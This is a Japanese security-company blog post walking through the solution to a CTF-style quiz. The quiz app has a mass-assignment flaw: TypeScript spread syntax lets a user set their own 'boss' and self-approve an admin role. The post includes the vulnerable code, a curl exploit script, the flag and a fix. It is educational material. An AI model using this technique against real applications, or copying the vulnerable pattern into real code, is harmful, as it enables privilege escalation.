はじめに
下記のTweetで出題させていただいた、Flatt Security Developers' Quiz #5にご参加いただきありがとうございました!
🍫 Flatt Security Developers' Quiz #5 開催! 🍫
— 株式会社Flatt Security (@flatt_security) 2023年2月14日
オリジナルチョコ獲得を目指して頑張ってください!
デモ環境: https://t.co/DUM6NjLPQa
ソースコード: https://t.co/pQ7UvFiEWe
回答提出フォーム: https://t.co/WQhxWA1Rvq pic.twitter.com/v494ZEDUaw
景品の獲得条件を満たした方には既にメールでご連絡済みです。
今回のクイズでFlatt Securityに興味を持ってくださった方は是非下記のバナーよりサービス詳細をご覧ください。
今回のクイズの概要
概要
デモ環境にアクセスすると、画像のようなマイページが表示されます。 ここで、ユーザは自身の名前とロールを更新することができます。
ページ下部には管理者ページ
と書いてあるいかにも怪しいリンクがあります。
試しにクリックしてみると、以下のような管理者ページが表示されます。
ページに書いてあるとおり、管理者ではないためページが閲覧できないようです。
このクイズのゴールは、この管理者ページ(/admin
)を閲覧してフラグを入手することです。
ソースコード
以下に、ソースコードの重要な部分のみを抜粋します。ソースコード全体に関しては、GitHubをご覧ください。
type Role = 'admin' | 'engineer' | 'sales'; type UserId = string; type SessionId = string; interface User { name: string role: Role id: UserId boss: UserId | null }; interface UserInput { name: string role: 'engineer' | 'sales' }; const users = new Map<UserId, User>([[admin.id, admin]]); // List of users associated with their ID const sessions = new Map<SessionId, UserId>(); // List of sessions associated with session ID const pendingApprovals = new Map<UserId, User>(); // List of users waiting for approval to change their profile // Serve admin page. app.get('/admin', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); const html = await fs.promises.readFile(user.role === 'admin' ? 'flag.html' : 'forbidden.html', 'utf-8'); const status = user.role === 'admin' ? 200 : 403; reply.type('text/html').status(status).send(html); }); // Get profile of the current user. app.get('/api/profile', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); reply.type('application/json').send(user); }); // Change user profile. // NOTE: Changing role requires approval from their boss. app.post('/api/profile', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); const input = request.body as UserInput; let waitingApproval = false; if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); } users.set(user.id, { ...user, ...input, id: user.id, role: user.role, }); reply.status(200).type('application/json').send({ waitingApproval, }); }); // Approve a request to change user profile // NOTE: Only the boss of the requester can approve the change. app.post('/api/approve/:userId', async (request, reply) => { const me = getOrInitUser(request.session.sessionId); const userId = (request.params as any).userId as string; const pendingApproval = pendingApprovals.get(userId); if (pendingApproval && pendingApproval.boss === me.id) { pendingApprovals.delete(userId); users.set(pendingApproval.id, pendingApproval); reply.status(200).send(); } else { reply.status(204).send(); } });
これまでのFlatt Security Developers' Quizと比べると少しだけソースコードが長く、より本格的な内容になっています。
ユーザ(users
)はセッションID(sessions
)と結びつけられてサーバ側に記録されています。各ユーザ(interface User
)は、名前(name
)、ロール(role
)、ID(id
)、そして上司(boss
)をメンバとして持っています。
目的の/admin
ページでは、ユーザのrole
に基づいてページを表示します。先程の画像にあったページはforbidden.html
であり、目的のフラグはflag.html
にあるようです。つまり、role
をadmin
に変更する必要があります。
解法
/api/profile
へのPOSTリクエストによってユーザのプロパティを変更することができます。
しかしながらソースコード内のコメントにもあるように、role
を変更しようとしてもすぐには変更は適用されず、上司(boss
)からの承認を待つためにリクエストがpendingApprovals
に追加されます:
if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); }
このリクエストは、上司(boss
)が/api/approve/:userId
へのPOSTリクエストを送ることで承認されます:
const me = getOrInitUser(request.session.sessionId); const userId = (request.params as any).userId as string; const pendingApproval = pendingApprovals.get(userId); if (pendingApproval && pendingApproval.boss === me.id) { pendingApprovals.delete(userId); users.set(pendingApproval.id, pendingApproval); reply.status(200).send(); } else { reply.status(204).send(); }
この承認プロセスにおいては、承認しようとしているユーザ(me
)が、承認されるユーザの上司(boss
)であるかどうかを確認しています。よって、上司以外のユーザが承認を行うことができないように設計されています。
脆弱性: ユーザ入力の検証不足と値の上書き
ここで、もう一度/api/profile
へのプロフィール変更要求部分を見てみます:
const input = request.body as UserInput; if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); } users.set(user.id, { ...user, ...input, id: user.id, role: user.role, });
role
が変更されたかどうかに関わらず、role
とid
以外のプロパティをuser.set()
によって更新していることがわかります。その中で、{ ...user, ...input }
という記法を使っています。これはSpread Syntaxと呼ばれるもので、オブジェクトのプロパティを展開することができる記法です(厳密な説明については、リンクを参照ください)。
ここで、user
とinput
に同一のプロパティが存在していた場合、より後者にあるinput
内のプロパティによって値が上書きされてしまいます。すなわち、以下のような状況の場合にはinput
内の値によってuser
を展開した値を上書きすることができます:
const user = { name: 'test', example: 'original', }; const input = { name: 'overwritten', example: 'overwritten', }; const result = { ...user, ...input, }; console.log(result); // { name: 'overwritten', example: 'overwritten' }
なお、ここではinput
は以下のようにしてリクエストボディから取得されています:
interface UserInput { name: string role: 'engineer' | 'sales' }; const input = request.body as UserInput;
ここでUserInput
はUser
型の部分的なプロパティを持つ型として定義されています。恐らく開発者の意図としては、このas
によってinput
内にはname
とrole
の2つしか存在しないことを保証したかったのでしょう。
しかしながら、この部分はTypeScriptからJavaScriptに以下のようにトランスパイルされます。
input = request.body; users.set(user.id, __assign(__assign(__assign({}, user), input), { id: user.id, role: user.role }));
このことからも分かるように、input
のプロパティに対しては何の保証もされていません。よって、攻撃者はinput (==request.body)
として任意の値を入れることができます。
bossの変更
users.set()
では、id
とrole
が最後に記述されており、input
にこれらを入れても上書きできません。
しかしながら、boss
プロパティはinput
に入れることで上書きすることができます。これと/api/approve
を利用することで、boss
を自分へと上書きしたあとで自ら変更承認を行うことができます。
exploit
攻撃の手順をまとめます:
- 適当なページを訪れ、ユーザを作成する。
/api/profile
へのPOSTリクエストにて、boss
を自身にする。また、role
をadmin
に変更する。/api/approve/<自身のID>
へのPOSTリクエストにおいて、role
をadmin
にするリクエストを承認する。
function requestAdmin() { curl http://$DOMAIN/api/profile -k -v \ -H "Cookie: sessionId=$SESSION" \ -H "Content-Type: application/json" \ -d "{\"name\":\"toyojuni\", \"role\": \"admin\", \"boss\": \"$USERID\" }" } function approveChange() { curl http://$DOMAIN/api/approve/$USERID -k -v \ -X POST \ -H "Cookie: sessionId=$SESSION" } function getFlag() { curl http://$DOMAIN/admin -k -v \ -H "Cookie: sessionId=$SESSION" } function main() { requestAdmin approveChange getFlag } main
Flag
Flatt{61v3_y0u_7h15_nu77y_4u7h_1m91_4nd_nu77y_ch0c01473!}
問題の難易度
今回は「ふつう」難易度として出題しました。ソースコード自体はこれまでと比べて少し長いものの、やっている事自体は難しくなく、セキュリティを専門としないエンジニアの方も解けるような問題になっていると思います。
また、認可制御をテーマとしており、より実際のプロダクトに近いような問題設計になっていたのではないかと思います。 24時間の回答期間において、正答者はちょうど80人でした。
Quizのような脆弱性をつくらないために
今回の問題における問題点は、以下の2点です:
as UserInput
によってユーザの入力を制限できていると思い込んでいること- Spread Syntaxによって、既存のデータを上書きできること
ユーザ入力のバリデーションを行うにはいくつかの方法が考えられます。最もシンプルなものとしてはSpread Syntaxを使わず、必要な情報のみを取り出すことです。
users.set(user.id, { ...user, name: input.name, });
今回の場合には、上司の承認無しでの変更を想定しているのがname
だけであるため、Spread Syntaxを使わずにinput.name
を指定して上書きすることが最も適切であると考えられます。
終わりに
Quizにご参加いただいた皆様、ありがとうございました。不定期ではありますがよりみなさまに楽しみながらセキュリティを学んでいただけるよう今後も発信を続けてまいります。
冒頭でも紹介したように、我々株式会社Flatt Securityはセキュリティ診断サービスを提供しています。
Webアプリケーションやスマートフォンアプリケーションを対象に、セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。 ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。
数百万円からスタートの大掛かりなものばかりを想像されるかもしれませんが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!
ここまでお読みいただきありがとうございました。